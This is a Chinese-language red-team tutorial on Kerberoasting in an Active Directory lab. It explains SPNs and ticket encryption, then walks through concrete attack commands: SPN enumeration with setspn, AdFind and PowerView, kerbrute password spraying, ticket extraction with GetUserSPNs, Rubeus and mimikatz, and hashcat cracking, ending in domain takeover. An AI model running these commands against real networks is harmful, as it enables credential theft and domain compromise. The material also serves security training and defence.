在域中,能拿到账户信息得攻击基本上有四个
- 域内用户枚举
- 域内密码喷洒
- Kerberoasting
- AS-REP Roasting
对于AS-REP Roasting,我们下一篇文章讲,而前两个,请参考我以前域内横向移动得文章。
那么我们今天就来聊聊Kerberoasting
1.SPN
对于SPN可能大家感觉没有接触过,但是举个例子大家包懂得
setspn -Q */*
这个命令用来查询域中的注册了SPN的机器和账户
我们可以看见在域中的三台机器都注册了对应的SPN,像我们熟悉的CIFS服务以及HOST,LDAP,通过这些服务,我们才能对对应的主机进行查看,复制文件,运行计划任务等。
但是,只有机器账户才能有SPN吗???
那包不是的,普通的用户也能注册SPN
2.SPN的注册
通过以下命令,我们可以给机器用户和域用户注册SPN
setspn -U -S HTTP/机器名 用户名
setspn -C -S HTTP/机器名 机器名
第一条命令,就是给用户进行注册SPN,那么我们来试一下
这样,就是给SEC个用户注册了SEC这台机器的一个SPN,我们再去查看一下
可以看见除了我们刚才设置的SPN以外还有一个krbtgt的也是被设置了SPN
3.ServerHash
我相信你们一定对上面的命令很好奇,甚至有点疑惑,下面我就来解释一下
那上面这个机器的SPN来说,它的ServerHash就是这台机器的哈希,在Kerberos中,ST中的一部分就是用的这个机器的哈希来进行加密的!!
而对于我们刚才在SEC机器上用SEC用户注册的SPN,在Kerberos中,ST中的一部分就是用的SEC这个用户的NTLMhash进行加密的!!
所以,机器注册SPN和用户注册SPN的区别就是Kerberos在TGS-REQ阶段中,当用户发送了一张TGT之后,KDC上的TGS就会去域内查询对应的SPN,并找到对应的哈希加密ST
4.Kerberoasting原理
第一个好理解,我们来看看第二个!
我们知道在TGS-REP中,KDC上的TGS会返回一张ST,但是,其实这张ST,无论用户是否有访问的权限也是会返回的,我们去Wireshark 看看
- 域控SUBDC.RCE.ORG
- 域内普通用户 WIN7.RCE.ORG
我们先用一个普通用户去申请一张域控上的ST(即使我们没有权限访问)
kerberos::ask /target:host/subdc.rce.org
然后我们去wireshark查看
然后我们主要看TGS-REP这个数据包
下面这个就是subdc.rce.org的Server哈希加密的ST部分内容,上面就是用的CT_sessionkey加密的一把CS_sessionkey,我们要破解的,就是下面这个用Serverhash加密的内容!
5.SPN的探测
对于Kerberoasting,我们破解的,是用户注册的SPN!!!为什么不是破解机器注册的SPN呢??明明机器的SPN天生注册,域内用户还不一定注册了SPN
::: ????
:::那是因为机器的哈希是十多位的随机数字,一般破不开 ,而且还是随机生成的,所以我们就要破解相对容易破解的用户的哈希!!!
那么怎么探测SPN呢?? 最简单就是通过这一条命令
shell setspn -Q */*
这个是最简单的能获取SPN的方法
然后就是使用我们的Powerview脚本,这里我采用无文件落地的形式去探测
powershell-import PowerView.ps1
powershell Get-NetUser -SPN
这个也是可以找到的
当然也包可以用ADFind的啦
对于域内机器
shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)" servicePrincipalName
对于工作组机器,你就要知道一个用户的账号和密码,以及域控的位置了
什么?? 你怎么知道域馆在哪 ??? Nbtscan是能扫出来的(精准定位到域馆)
首先我们来一台加入到域,但是处于工作组环境的主机,并且给他上线到CS
然后我们上传NBTscan,并且去扫,就能发现能精准定位到域控
然后就是通过喷洒获取域内用户的密码了,这里常规的插件 都不能对工作组进行操作
所以我们就要使用这款强大的工具 -->kerbrute !!
shell kerbrute.exe passwordspray -d 域名 用户字典 密码
这样,就算我们在工作组也是能通过域内密码喷洒拿到一个用户的密码的
然后我们就可以用ADFind去查询了!!!
shell Adfind.exe -h 192.168.111.138:389 -u 二级域名\用户名 -up 刚才喷洒出来的密码 -f "&(servicePrincipalName=*)" servicePrincipalName
成功探测出SPN
·
当然了,如果你能通过喷洒出密码的话,那么其实就不用Kerberoasting这么麻烦了!
6.获取高权限用户的SPN
我们众所周知,我们在域内,最重要的就是找域馆,所以我们就要看看域管理员组有没有注册了SPN的用户!!! 其实就是上面的命令加多一个约束条件
shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
这时候我们就能看见Krbtgt的用户,但是它的密码也是随机生成的,我们也不能破解,
但是不明白为什么,明明我有一个注册了高权限用户的SPN,但是找不出来。。。
所以这也给了我们一个思路,如果发现了一个用户注册了SPN,判断是否高权限还可以通过这届查询这些管理员组进行判断!
7.获取用户ST票据
对于申请ST票据,有很多方法,下面来讲几种
首先我们来一台工作组的电脑
- 192.168.111.144 STU1$
以及一个域内用户
- 192.168.111.132 WIN7$
1.GetUserSPNs
这个工具强大了,域内或者工作组都能用!!!
但是前提还是要你知道一域内用户的密码
shell GetUserSPNs.exe -request -dc-ip 192.168.111.138 rce.org/win7:hongrisec@2024 -outputfile 1.txt
这样工作组也能成功获取到对应的ST (不指定用户就是所有SPN的注册用户)
2.Rubeus
这个对电脑的.net需要一点配置,所以如果能用,就最好,用不了,就换一种(只能域用户)
shell Rubeus.exe kerberoast /format:john /outfile:hash.txt
也是能成功拿到
3.Mimikatz
最后就是我们的mimikatz啦!!!这个工具是真的强大好吧,不过也是只能用于域用户!
mimikatz kerberos::purge
shell klist purge
缺点就是你需要提权,这个就要看对面用什么机器了!!
然后我们直接去申请票据
mimikatz kerberos::ask /target:web/sec.rce.org
mimikatz kerberos::list /export
8.破解ServerHash
破解ServerHash,网上有很多的脚本,这里我们采用hashcat!!
hashcat.exe -m 13100 Serverhash 密码字典
由于我本机的Win11不知道为什么用不了Hashcat,所以我就直接贴密码了(你们去破,只要自字典强大,包能破出来的)
password : admin@123
9.通过Kerberoasting控制整个域
由于我们上一步获取到了高权限的SPN,所以剩下的就是无脑上线了!
这里就不在赘述了,CS上点几点就好!